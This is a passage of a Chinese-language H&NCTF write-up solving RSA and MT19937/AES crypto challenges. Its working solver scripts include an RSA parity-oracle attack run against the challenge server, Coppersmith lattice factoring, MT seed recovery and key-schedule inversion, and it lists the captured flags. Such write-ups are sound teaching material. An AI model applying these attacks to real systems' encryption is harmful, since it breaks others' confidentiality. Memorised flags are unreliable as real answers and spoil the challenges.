print("[+] Sec_Weapon =", Sec_Weapon)
print("[+] ee =", ee)
n = Sec_Weapon_num * (e ** 12)
# bytes_to_long(b"DAMNBIGBEAR") 的分解:
# 82515335593625240279007570
# = 2 * 3 * 5 * 331 * 8309701469650074549749
factors = {
2: 1,
3: 1,
5: 1,
331: 1,
8309701469650074549749: 1,
e: 12
}
phi = 1
for p, a in factors.items():
phi *= (p - 1) * (p ** (a - 1))
if gcd(ee, phi) != 1:
print("[-] ee 与 phi(n) 不互素,无法直接求逆")
exit()
d = pow(ee, -1, phi)
m = pow(ciphertext, d, n)
flag = long_to_bytes(m)
print("[+] flag =", flag.decode())

运行结果:

Image

拿到flag

H&NCTF{The_l4test_l0gging_m4chine}

题目名称:rsa#

解题人:weixiao

题目给出三素数 RSA:

n = p * q * r

并泄露:

hint_1 = p^r mod n
hint_2 = r^(s-2) mod n
c = m^(e*(s-1)) mod n

由于 hint_1 = p^r mod n,而 n 中含有因子 p,所以:

hint_1 ≡ 0 mod p

因此可以直接得到:

p = gcd(hint_1, n)

同理,实际数据中 s > 2,所以:

hint_2 = r^(s-2) ≡ 0 mod r

于是:

r = gcd(hint_2, n)
q = n // p // r

至此完成对 n 的分解。

然后枚举 s

for i in range(2, 32):
if pow(r, i - 2, n) == hint_2:
s = i
break

本题得到:

s = 5

令:

k = s - 1

则:

c = m^(e*k) mod n

这里不能直接求私钥指数,因为:

gcd(e*k, phi) = 4
gcd(k, phi) = 4

e = 65537phi 互素,所以可以先消去 e

y = c^(e^-1 mod phi) = m^k mod n

又因为 k = 4 * tgcd(t, phi) = 1,继续消去 t

z = y^(t^-1 mod phi) = m^4 mod n

问题转化为求:

m^4 = z mod n

由于 n = pqr,分别在 p, q, r 下开四次根即可。模素数下开四次根可以通过两次 Tonelli-Shanks 开平方完成。最后枚举三个模数下的根组合,用 CRT 合并回模 n 下的候选明文,并根据 flag 格式筛选。

exp.py

from Crypto.Util.number import *
from gmpy2 import gcd, invert
from itertools import product
n = 979979396280795025447159604653924698007421096864863532640467914347154790478966309310242938046375382963295576018108365493749631126829441159428446514913045553768462359812141188437867022522642883215617924930162362975118753135307868195989529952635950471650238440782216155187808858076406173123376307233605251322063056796573051571421373804400742814841380628966244338908899920978345766251241466839953205051967073060065807266111902771444846685228931419177071776202794447
hint_1 = 63829737789015303255616010995430271442615363334005654136790603132124697763248934614727407142426063514798780422988294297457892974476968909011594056992955895743933371737158975962646294428475380486162081880712675820233377927503162194872237855275106302109770193104087596464371630697812485876577638759333868021626793193900551035852971032420289295901322943785198833653840660632317598841581456445704445974646032512822137015643024549120429185146320086905286336984565780
hint_2 = 811225663987535096929418484923252315039418484176390289011682551835727122657404871203738500127970361216735459526184706907379779604453737161603694233134616612209864675829711293451990923072581678837181277865189990566773712777076953922847187456309194004847987239678695437936130991596979472315709241564675102503547056625609492959906116295807701067076200192520193721233660324426348223046220024274205328004516104292752500294107591971181194232357501832617229377939678909
c = 554491127748739273581999967419384543160020010465406113035040735016528899552140169583353294062576591579973382955030891201758740151326341677432402990540380379170704264251101185973670282744523850032981933697291881931773848908998356042585230566838554495089166039238470892330078315451993029959200347825405258393357495512040019534150921164118639093729837315213487083882435472600420840995787008748593481029626822135460873446903992348211665228818922931223995184301813181
e = 0x10001
# -----------------------------
# Tonelli-Shanks 模素数开平方
# -----------------------------
def sqrt_mod_prime(a, p):
a %= p
if a == 0:
return [0]
# 判断是否为二次剩余
if pow(a, (p - 1) // 2, p) != 1:
return []
# p % 4 == 3 的快速情况
if p % 4 == 3:
x = pow(a, (p + 1) // 4, p)
return list(set([x, (-x) % p]))
# Tonelli-Shanks
q = p - 1
s = 0
while q % 2 == 0:
s += 1
q //= 2
z = 2
while pow(z, (p - 1) // 2, p) != p - 1:
z += 1
m = s
c = pow(z, q, p)
t = pow(a, q, p)
r = pow(a, (q + 1) // 2, p)
while t != 1:
i = 1
tmp = pow(t, 2, p)
while tmp != 1:
tmp = pow(tmp, 2, p)
i += 1
b = pow(c, 2 ** (m - i - 1), p)
m = i
c = pow(b, 2, p)
t = t * c % p
r = r * b % p
return list(set([r, (-r) % p]))
# -----------------------------
# 模素数开四次根
# x^4 = a mod p
# 做两次开平方即可
# -----------------------------
def fourth_roots_mod_prime(a, p):
roots = []
first_roots = sqrt_mod_prime(a, p)
for y in first_roots:
second_roots = sqrt_mod_prime(y, p)
roots.extend(second_roots)
return list(set(roots))
# -----------------------------
# CRT
# -----------------------------
def crt(residues, moduli):
M = 1
for mod in moduli:
M *= mod
x = 0
for a, mod in zip(residues, moduli):
Mi = M // mod
inv = int(invert(Mi, mod))
x += a * Mi * inv
return x % M
# -----------------------------
# 分解 n
# -----------------------------
p = int(gcd(hint_1, n))
r = int(gcd(hint_2, n))
q = n // p // r
print("[+] p =", p)
print("[+] q =", q)
print("[+] r =", r)
assert p * q * r == n
# -----------------------------
# 爆破 s
# -----------------------------
s = None
for i in range(2, 32):
if pow(r, i - 2, n) == hint_2:
s = i
break
print("[+] s =", s)
phi = (p - 1) * (q - 1) * (r - 1)
k = s - 1
print("[+] gcd(e*k, phi) =", gcd(e * k, phi))
print("[+] gcd(k, phi) =", gcd(k, phi))
# -----------------------------
# 消掉 e
# c = m^(e*k)
# y = c^(e^-1) = m^k
# -----------------------------
de = int(invert(e, phi))
y = pow(c, de, n)
# k = 4 * t
assert gcd(k, phi) == 4
assert k % 4 == 0
t = k // 4
dt = int(invert(t, phi))
# z = y^(t^-1) = m^4
z = pow(y, dt, n)
print("[+] got z = m^4 mod n")
# -----------------------------
# 分别在 p, q, r 下开四次根
# -----------------------------
roots_p = fourth_roots_mod_prime(z, p)
roots_q = fourth_roots_mod_prime(z, q)
roots_r = fourth_roots_mod_prime(z, r)
print("[+] roots mod p:", len(roots_p))
print("[+] roots mod q:", len(roots_q))
print("[+] roots mod r:", len(roots_r))
# -----------------------------
# CRT 合并所有候选
# -----------------------------
mods = [p, q, r]
for rp, rq, rr in product(roots_p, roots_q, roots_r):
m = crt([rp, rq, rr], mods)
flag = long_to_bytes(m)
if b"H&NCTF{" in flag:
print("[+] possible flag:", flag.decode())
break
# [+] possible flag: H&NCTF{c0gr4tul4ti0n!!y0u_g0t_it}

H&NCTF{c0gr4tul4ti0n!!y0u_g0t_it}

题目名称:rsa pro#

解题人:weixiao

解题思路:

题目源码

from Crypto.Util.number import bytes_to_long, getPrime, inverse
from secret import flag
assert len(flag) == 65
assert flag.startswith(b"H&NCTF{") and flag.endswith(b"}")
P_BITS = 512
LEAK_BITS = 256
BRUTE_BITS = 8
LOW_BITS = P_BITS - LEAK_BITS - BRUTE_BITS
HINT_BYTES = LEAK_BITS // 8
HINT_BITS = LEAK_BITS
class RSAByteOracle:
def __init__(self):
self.p = getPrime(P_BITS)
self.q = getPrime(P_BITS)
self.n = self.p * self.q
self.e = 65537
self.d = inverse(self.e, (self.p - 1) * (self.q - 1))
self.p_high = self.p >> (BRUTE_BITS + LOW_BITS)
self.cnt = HINT_BITS
if bytes_to_long(flag) >= self.n:
raise ValueError("flag is too large for this RSA modulus")
self.c_hint = self.encrypt(self.p_high)
self.c = self.encrypt(flag)
def encrypt(self, m):
if isinstance(m, bytes):
m = bytes_to_long(m)
return pow(m, self.e, self.n)
def decrypt(self, c):
if self.cnt <= 0:
print("No attempts left.")
return
c %= self.n
m = pow(c, self.d, self.n)
self.cnt -= 1
print("bit =", m & 1)
print(f"Attempts remaining: {self.cnt}")
def show_challenge(rsa):
print("n =", rsa.n)
print("e =", rsa.e)
print("c_hint =", rsa.c_hint)
print("c =", rsa.c)
MENU = """
[RSA Hint Byte Oracle Console]
[1] Decrypt a ciphertext
[2] Show challenge data
[3] Close
Select action > """
if __name__ == "__main__":
rsa = None
while True:
try:
opt = int(input(MENU))
except Exception:
break
if opt == 1:
if rsa is None:
print("Load the challenge data first.")
continue
c = int(input("ciphertext >>> "))
rsa.decrypt(c)
elif opt == 2:
if rsa is None:
print("Challenge ready.")
rsa = RSAByteOracle()
show_challenge(rsa)
elif opt == 3:
print("Session closed.")
break
else:
print("Unknown selection.")

参数关系:

P_BITS = 512
LEAK_BITS = 256
BRUTE_BITS = 8
LOW_BITS = 512 - 256 - 8 = 248

因此:

p_high = p >> (8 + 248) = p >> 256

服务端公开:

n
e
c_hint = p_high^e mod n
c = flag^e mod n

并提供最多 256 次解密 oracle,每次只泄露解密结果最低位:

bit = RSA_dec(input_ciphertext) & 1

攻击分两步:

  1. 利用 LSB oracle 从 c_hint 恢复明文 p_high

  2. 已知 p 高 256 bit,枚举中间 8 bit,用 Coppersmith 恢复低 248 bit,分解 n

第一步:用 LSB oracle 还原 p_high

已知:

c_hint = p_high^e mod n

RSA 具有乘法同态:

(a^e mod n) * (b^e mod n) = (ab)^e mod n

所以可以构造:

服务端解密后得到:

oracle 返回:

leak_i = m_i & 1

如果直接做普通 RSA parity oracle,一般要大约 n.bit_length() 次,也就是约 1024 次;但本题只有 256 次。这里目标不是完整明文,而是 256-bit 的 p_high,可以低位到高位逐 bit 恢复。

设:

x = p_high

假设已经恢复了 x 的低 i 位:

r = x mod 2^i

因为 n 是奇数,所以 n 在模 2^i 下可逆。选择一个 k,使得:

x + k*n == 0 mod 2^i

由于未知高位都是 2^i 的倍数,所以只需要用已知低位 r 计算:

k = -r * n^{-1} mod 2^i

于是:

m_i = x * 2^{-i} mod n
= (x + k*n) / 2^i

x 展开:

x = r + b_i * 2^i + higher * 2^(i+1)

代入:

m_i = (r + k*n) / 2^i + b_i + even_part

因此最低位满足:

leak_i = ((r + k*n) >> i & 1) xor b_i

所以当前第 i bit:

b_i = leak_i xor (((r + k*n) >> i) & 1)

第二步:已知 p 高位后分解 n

源码中:

p_high = p >> 256

也就是 p 的结构为:

p = (p_high << 256) + mid * 2^248 + x

其中:

mid < 2^8
x < 2^248

mid 只有 8 bit,可以直接枚举 0 到 255。对每个 mid,令:

base = (p_high << 256) + (mid << 248)
p = base + x

因为 p | n,所以:

base + x == 0 mod p

构造单变量多项式:

f(X) = X + base

它在未知因子 p 模下有小根 x

f(x) == 0 mod p

这里:

n ≈ 2^1024
p ≈ n^0.5
x < 2^248
n^0.25 ≈ 2^256

线性多项式、未知因子大小约为 n^0.5,Coppersmith/Howgrave-Graham 可以在 x < n^0.25 范围内恢复小根。本题低位未知 248 bit,比理论边界 2^256 小 8 bit,刚好可做。

Howgrave-Graham 格构造

取:

X = 2^248
f(x) = x + base
m = 18
t = 19
dim = m + t = 37

构造多项式集合:

N^(m-i) * f(xX)^i for i = 0..m-1
(xX)^j * f(xX)^m for j = 0..t-1

将这些多项式的系数作为格基,LLL 约简后会得到一个较短的整数多项式 g(x)。如果参数满足 Howgrave-Graham 条件,则真实小根 x0 会成为整数根:

g(x0) = 0 over Z

解题脚本

import json
import math
import re
import socket
from pathlib import Path
import flint
import sympy as sp
from Crypto.Util.number import long_to_bytes
HOST = "114.66.24.210"
PORT = 21587
P_BITS = 512
LEAK_BITS = 256
BRUTE_BITS = 8
LOW_BITS = P_BITS - LEAK_BITS - BRUTE_BITS
E = 65537
def recv_until(sock, marker, timeout=10):
sock.settimeout(timeout)
data = b""
while marker not in data:
chunk = sock.recv(4096)
if not chunk:
raise EOFError("connection closed")
data += chunk
return data
def sendline(sock, value):
sock.sendall(str(value).encode() + b"\n")
def collect_instance(path="remote_instance.json"):
sock = socket.create_connection((HOST, PORT), timeout=10)
recv_until(sock, b"Select action > ")
sendline(sock, 2)
text = recv_until(sock, b"Select action > ").decode("utf-8", "replace")
vals = {k: int(v) for k, v in re.findall(r"^(n|e|c_hint|c) = (\d+)$", text, re.M)}
n = vals["n"]
c_hint = vals["c_hint"]
inv2e = pow(pow(2, -1, n), vals["e"], n)
mult = 1
p_high = 0
leaks = []
for i in range(LEAK_BITS):
sendline(sock, 1)
recv_until(sock, b"ciphertext >>> ")
sendline(sock, (c_hint * mult) % n)
resp = recv_until(sock, b"Select action > ")
match = re.search(rb"bit = ([01])", resp)
if not match:
raise RuntimeError(resp.decode("utf-8", "replace"))
leak = int(match.group(1))
# m_i = floor((p_high + k*n) / 2^i), where k makes p_high+k*n divisible by 2^i.
k = (-p_high * pow(n, -1, 1 << i)) % (1 << i) if i else 0
carry_bit = ((p_high + k * n) >> i) & 1
bit = leak ^ carry_bit
p_high |= bit << i
leaks.append(leak)
mult = (mult * inv2e) % n
if (i + 1) % 32 == 0:
print(f"oracle: recovered {i + 1}/{LEAK_BITS} bits", flush=True)
vals["p_high"] = p_high
vals["leak_bits"] = leaks
vals["p_high_verified"] = pow(p_high, vals["e"], n) == c_hint
Path(path).write_text(json.dumps(vals, indent=2), encoding="utf-8")
try:
sendline(sock, 3)
finally:
sock.close()
return vals
def poly_mul(a, b):
out = [0] * (len(a) + len(b) - 1)
for i, x in enumerate(a):
if x:
for j, y in enumerate(b):
if y:
out[i + j] += x * y
return out
def poly_pow(base, exponent):
out = [1]
while exponent:
if exponent & 1:
out = poly_mul(out, base)
base = poly_mul(base, base)
exponent >>= 1
return out
def build_hg_basis(n, a, x_bound, m, t):
# Howgrave-Graham univariate basis for monic f(x)=x+a, with f(root) == 0 mod p.
dim = m + t
rows = []
f_x = [a, x_bound] # f(x * X)
for i in range(m):
coeff = [c * pow(n, m - i) for c in poly_pow(f_x, i)]
coeff += [0] * (dim - len(coeff))
rows.append(coeff[:dim])
f_m = poly_pow(f_x, m)
for j in range(t):
coeff = [0] * j + [c * pow(x_bound, j) for c in f_m]
coeff += [0] * (dim - len(coeff))
rows.append(coeff[:dim])
return rows
def flint_lll(rows):
mat = flint.fmpz_mat(rows)
red = mat.lll()
return [[int(red[i, j]) for j in range(red.ncols())] for i in range(red.nrows())]
def eval_poly(coeffs, x):
value = 0
for c in reversed(coeffs):
value = value * x + c
return value
def row_roots(row, x_bound):
coeffs = [int(v) // pow(x_bound, i) for i, v in enumerate(row)]
while len(coeffs) > 1 and coeffs[-1] == 0:
coeffs.pop()
if not coeffs or all(c == 0 for c in coeffs):
return []
roots = roots_by_crt(coeffs, x_bound)
if roots:
return roots
x = sp.Symbol("x")
poly = sp.Poly(sum(c * x**i for i, c in enumerate(coeffs)), x, domain=sp.ZZ)
candidates = set()
try:
for root in poly.ground_roots():
candidates.add(int(root))
except Exception:
pass
return [r for r in candidates if 0 <= r < x_bound]
def roots_mod_prime(coeffs, prime):
coeffs_mod = [c % prime for c in coeffs]
if all(c == 0 for c in coeffs_mod):
return None
roots = []
for x in range(prime):
value = 0
for c in reversed(coeffs_mod):
value = (value * x + c) % prime
if value == 0:
roots.append(x)
return roots
def crt_pair(a, m, b, n):
return (a + ((b - a) * pow(m, -1, n) % n) * m) % (m * n)
def roots_by_crt(coeffs, x_bound):
# Factor-free integer root recovery. If g(x0)=0 over Z, then x0 mod p
# is a root modulo every small prime p. CRT until the modulus exceeds X.
primes = [
1009,
1013,
1019,
1021,
1031,
1033,
1039,
1049,
1051,
1061,
1063,
1069,
1087,
1091,
1093,
1097,
1103,
1109,
1117,
1123,
1129,
1151,
1153,
1163,
1171,
1181,
1187,
1193,
1201,
1213,
1217,
1223,
1229,
1231,
1237,
1249,
1259,
1277,
1279,
1283,
1289,
1291,
1297,
1301,
1303,
1307,
1319,
1321,
]
residues = [(0, 1)]
for prime in primes:
roots = roots_mod_prime(coeffs, prime)
if roots is None:
continue
if not roots:
return []
next_residues = []
for residue, modulus in residues:
for root in roots:
next_residues.append((crt_pair(residue, modulus, root, prime), modulus * prime))
# Keep the search bounded if a non-candidate polynomial has many roots.
if len(next_residues) > 256:
return []
residues = next_residues
if residues and residues[0][1] > x_bound:
out = []
for residue, modulus in residues:
if residue < x_bound and eval_poly(coeffs, residue) == 0:
out.append(residue)
return out
return []
def factor_with_known_high(n, p_high, m=18, t=19):
x_bound = 1 << LOW_BITS
shift = BRUTE_BITS + LOW_BITS
prefix = p_high << shift
for middle in range(1 << BRUTE_BITS):
base = prefix | (middle << LOW_BITS)
# Use f(x)=x+base, but make the constant small modulo n for shorter entries.
a = base % n
rows = build_hg_basis(n, a, x_bound, m, t)
print(f"LLL middle={middle:02x} dim={m + t}", flush=True)
reduced = flint_lll(rows)
for row_index, row in enumerate(reduced[: min(20, len(reduced))]):
for root in row_roots(row, x_bound):
p = base + root
if 1 < p < n and n % p == 0:
return p, n // p, middle, root, row_index
# Root extraction can fail on large coefficients. A gcd of row(base+x)
# at a true integer root is the only thing we need, so try numerical
# roots only after exact methods above.
if middle % 16 == 15:
print(f"tried {middle + 1}/256 middle-byte candidates", flush=True)
raise RuntimeError("factor not found")
def decrypt_flag(vals):
n = vals["n"]
e = vals.get("e", E)
p_high = vals["p_high"]
p, q, middle, root, row_index = factor_with_known_high(n, p_high)
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(vals["c"], d, n)
flag = long_to_bytes(m)
print(f"p middle byte = 0x{middle:02x}")
print(f"root bits = {root.bit_length()}, LLL row = {row_index}")
print(flag)
return flag
def main():
path = Path("remote_instance.json")
if path.exists():
vals = json.loads(path.read_text(encoding="utf-8"))
else:
vals = collect_instance(path)
if not vals.get("p_high_verified", False):
assert pow(vals["p_high"], vals["e"], vals["n"]) == vals["c_hint"]
decrypt_flag(vals)
if __name__ == "__main__":
main()

Image

H&NCTF{rsa_pro_6b483fb008c1_4d391e90-7c98-41da-996a-fa016a38b4ab}

题目名称:mt&对称#

解题人:weixiao

解题思路:

题目提示:

究竟mt劈了腿还是对称出了轨

连接后服务直接给出题目输出:

n = ...
c_rsa = ...
iv = ...
c_aes = ...
outputs = [...]

源码分析

核心加密流程如下:

random_key1 = os.urandom(16)
mt_seed = random_key1 + os.urandom(16)
random_key2 = os.urandom(16)
key = xor_bytes(random_key1, random_key2)
outputs = leak_with_mt19937(mt_seed)
last_key = key_expansion(random_key2)
c_rsa = pow(bytes_to_long(last_key), e, n)
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
c_aes = cipher.encrypt(pad(flag, 16))

最终 AES-CBC 的密钥是:

key = random_key1 ^ random_key2

所以需要分别恢复 random_key1random_key2

漏洞一:RSA 的 p 可重算

p 的生成函数如下:

def generate_prime(bits):
while True:
p_sub = 2
for prime in sieve_base:
p_sub *= prime
if p_sub.bit_length() > bits - 2:
break
for k in range(2, 10000, 2):
p = p_sub * k + 1
if isPrime(p):
return p

这里没有随机数参与,bits = 1024 时生成出来的 p 是固定的。因此本地重新运行 generate_prime(1024) 就能得到同一个 p,进而分解:

p = generate_prime(1024)
q = n // p
phi = (p - 1) * (q - 1)
d = inverse(e, phi)

RSA 解密 c_rsa 后得到的是 random_key2 的 AES 最后一轮轮密钥:

last_round_key = pow(c_rsa, d, n)

漏洞二:AES key schedule 可逆

题目没有直接 RSA 加密 random_key2,而是加密:

last_key = key_expansion(random_key2)

但是 AES-128 key schedule 是可逆的。已知最后 4 个 word,即 w[40] ~ w[43],可以倒推 w[0] ~ w[3]

for i in range(43, 3, -1):
temp = w[i - 1]
if i % 4 == 0:
temp = SubWord(RotWord(temp)) ^ RCON[i // 4]
w[i - 4] = w[i] ^ temp

这样即可恢复:

random_key2 = invert_last_round_key(last_round_key)

漏洞三:MT19937 seed 可由泄漏恢复

random_key1 藏在 MT seed 的前 16 字节:

mt_seed = random_key1 + os.urandom(16)
rng = random.Random(int.from_bytes(mt_seed, "big"))

泄漏函数:

def leak_with_mt19937(seed):
rng = random.Random(int.from_bytes(seed, "big"))
return [rng.getrandbits(b"\x1e\x40\x20"[i % 3]) for i in range(300)]

也就是循环泄漏:

30 bit, 64 bit, 32 bit

Python 的 getrandbits(64) 会消耗两个 32-bit MT 输出,顺序为低 32 位在前、高 32 位在后;getrandbits(30) 等价于取一个 32-bit 输出的高 30 位,低 2 位未知。

因此 300 次泄漏实际对应 400 个底层 MT 输出,其中 100 个输出缺低 2 bit。

本题 seed 是 256 bit,也就是 8 个 32-bit word。利用 Python random.seed(int) 的初始化关系,只需要若干指定位置的 MT 状态即可恢复这 8 个 seed word。

做法:

  1. outputs 转成底层 32-bit 输出。

  2. 对缺失的低 2 bit 做小范围枚举。

  3. 对完整输出做 untemper,恢复部分 MT state。

  4. 用 MT twist 逆步骤恢复初始化中间状态。

  5. 倒推 Python seed array,得到 8 个 32-bit seed word。

  6. 重新生成 300 个泄漏值做校验。

恢复出 mt_seed 后:

random_key1 = mt_seed.to_bytes(32, "big")[:16]

解密流程

得到两个 key 后:

key = random_key1 ^ random_key2
flag = AES.new(key, AES.MODE_CBC, iv).decrypt(c_aes)
flag = unpad(flag, 16)

重要的值

Welcome to H&NCTF MT19937 Crypto Challenge
n = 122328946052374997795187654565513152572537202181535898700682716855541382301149256170895670686649592245152648865087225627442684784266362881654296563606160773007588558458022873224700800681342589637129057356947686250991986527179659456640309399063235434614347033395937474164626253121890729556711314086713201114313490903746757103048406425112582857773918850199811857430657015790555922841951256226504299054077485543232089911995003300758375215995597525466824786340685980058935510189274753311971130782655420492727131838577523117273763108711440513316910634445499162239501314961351054834101453257727332071613894712128415522119560401
c_rsa = 35450867262530891550846313956684388353885097074473061142159068651126976198520201043374443483546187562471753564228742638077005375511108482974308714106012386430912316186927891521880613293767493257544896925310386727958194132894606930057616700787083211780435206048392035498674251223409746404847629463172193156807082555115919640752542491521269091767509713565458305890224371742611205522396279598517837085230077609365894910593508843729363557670362572146783605823964170209493883120272479560976858717864459860074216025174382075360998829968043297713848412373966109698799391474496585241936748953187235465147485548441391564382164544
iv = 189f388a72866c705e8034ee4142b9bd
c_aes = 4729ade95261397f0b20fc0dc7bb186f0c99d7965012df98f80ba273627793aadaefc7fa4490ecdc33cee90b06ceabcf
outputs = [138990732, 9090576148757485552, 460877203, 856078584, 17425671588525704008, 107778594, 758811008, 3462531309200622121, 2322819397, 556723846, 6545271496935706823, 1577480868, 231877437, 17493206404987857918, 3377533680, 566541515, 5734585040571697770, 3843113944, 931016716, 13944811090124645883, 521835002, 110462131, 4209894731200399838, 2809749939, 288799435, 14854490576854381664, 1236166099, 428470787, 9458113379352556658, 84626551, 732626221, 13933269012130919389, 3368317831, 805013236, 6709885159853953119, 1461522787, 130953920, 15937887443238327098, 1879289049, 1006465851, 4420537531530501342, 3468488398, 648502871, 3853609149472192360, 3580666371, 859612733, 3310123221045703953, 2645645350, 481361152, 16786694737791951452, 169897950, 680976281, 15448789995302269639, 827543517, 897241561, 4059573645821382035, 3206175142, 822494704, 13051015135091186759, 79682101, 425066137, 4595477557399304063, 2476603927, 586193988, 14284206269828509779, 2989891863, 233392808, 14916529330054829093, 1621173195, 92708071, 13988082711588423178, 2216773120, 1009497170, 5522842180106688623, 491281388, 735142929, 8201644043750799372, 1009757470, 756533466, 9056575765120001193, 25890531, 890339150, 14858928254604995826, 2349800254, 230215677, 8113396143104578519, 3840234998, 739715795, 10578820530768995102, 1575644775, 345203093, 15396347869925810652, 1717465552, 717075234, 2331104788200428767, 842216507, 111100625, 6351110493420255645, 1134747320, 616590692, 11625301497993018221, 2218629643, 583954969, 10400261237139501842, 2566746519, 402429681, 15217519845035808375, 2906017006, 653967151, 4657428479171786796, 2648702009, 758638815, 10840878459118519115, 1822156834, 106616480, 513448095687847722, 2832280106, 191240681, 529730659278852173, 4199949093, 613844463, 12923728627993024410, 3660464610, 1012193539, 11756314745813802054, 2516422582, 941323072, 5036890590360440495, 1506625310, 1047873119, 15224477868121080928, 2242695210, 720010524, 10801809308804776168, 792572143, 100205027, 13366025282539709760, 1064860096, 374751411, 14039416694230468193, 841064429, 925022347, 16245324708714643294, 1880103492, 524079986, 10900918278827851840, 175975975, 409872433, 1487620870362938840, 651388091, 329513889, 17918076893421852394, 1440061611, 992938103, 9564581059818667891, 3559467758, 617447687, 10170310895416158206, 903432663, 480455799, 6522783777337042604, 3667768854, 26375243, 12063551137512867827, 2520567180, 697866807, 7311048572340940711, 3057608672, 37007602, 7122390746089916603, 2444716216, 315156612, 2713222930157359050, 2800423137, 659318842, 10214511265602266247, 1017973484, 630364309, 5512520607391480260, 1739528941, 342701099, 13546067934452698973, 945237171, 694318758, 9717938363208252557, 812279794, 989879568, 13644044875671553129, 2888373101, 847299548, 13185948218832755264, 3044353278, 226959058, 5882274388309412143, 389747299, 593830548, 10363389611252808337, 3346233973, 11454647, 3432166127891833642, 405617297, 864272271, 9051546792378630431, 3457585527, 349553527, 10723474992148621285, 1389528768, 914673411, 16848303658016623796, 3960842615, 688097115, 8098285035735835550, 3075942953, 829982984, 14577327095786546043, 640122862, 210419553, 9008715327999309952, 323857679, 877786709, 6731491808107047306, 2840296329, 47203885, 10476837798865265520, 1499670483, 124074269, 7524929972716089401, 682131539, 764250669, 213773739710828382, 4273073250, 893720897, 391967662207859420, 3253454743, 557615319, 10132913570470768232, 295627583, 96324417, 18104110981249875426, 3958673382, 820956208, 15558896302349196187, 3018427473, 652568457, 11813092214449352189, 3840811132, 730075495, 17884319686022123171, 1361954128, 579217534, 15305148766808453854, 1952465569, 985834616, 3365029876853207809, 2720473227, 525381406, 3286053579125002736, 3094733245, 517960392, 46341596967447527, 369883989, 157415150, 17023150076961834669, 2670508421, 2091799, 4449163351534279755, 2932977490, 279393623, 7347019252646864153, 260589531, 925118404, 1024792196478395696, 2061569254, 105311636, 8863664051117417635, 100560898, 569669301, 5542813050693875292, 3788455265, 735420523, 10770070485674252497, 3444498803, 727388094, 13257991741421254760, 874168042, 62166651, 8145426974311854173, 1104378269, 881926870, 5711368896464114006, 3028173945, 1019292007, 4072316905862592268, 4024433818, 100135168, 3676963952812130848, 1809924195, 974559089, 849951835564579236, 2484243640]

解题脚本

import ast
import itertools
import sys
from pathlib import Path
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import bytes_to_long, isPrime, long_to_bytes, sieve_base
MASK32 = 0xFFFFFFFF
SBOX = [
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
]
RCON = [0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36]
def xor_bytes(a, b):
return bytes(x ^ y for x, y in zip(a, b))
def rot_word(word):
return word[1:] + word[:1]
def sub_word(word):
return bytes(SBOX[x] for x in word)
def schedule_g(word, round_id):
word = bytearray(sub_word(rot_word(word)))
word[0] ^= RCON[round_id]
return bytes(word)
def invert_last_round_key(last_round_key):
words = [None] * 44
for i in range(4):
words[40 + i] = last_round_key[4 * i:4 * i + 4]
for i in range(43, 3, -1):
temp = words[i - 1]
if i % 4 == 0:
temp = schedule_g(temp, i // 4)
words[i - 4] = xor_bytes(words[i], temp)
return b"".join(words[:4])
def generate_prime(bits):
while True:
p_sub = 2
for prime in sieve_base:
p_sub *= prime
if p_sub.bit_length() > bits - 2:
break
for k in range(2, 10000, 2):
p = p_sub * k + 1
if isPrime(p):
return p
def undo_right_xor(value, shift):
result = value
for _ in range(32):
result = value ^ (result >> shift)
return result & MASK32
def undo_left_xor(value, shift, mask):
result = value
for _ in range(32):
result = value ^ ((result << shift) & mask)
return result & MASK32
def untemper(value):
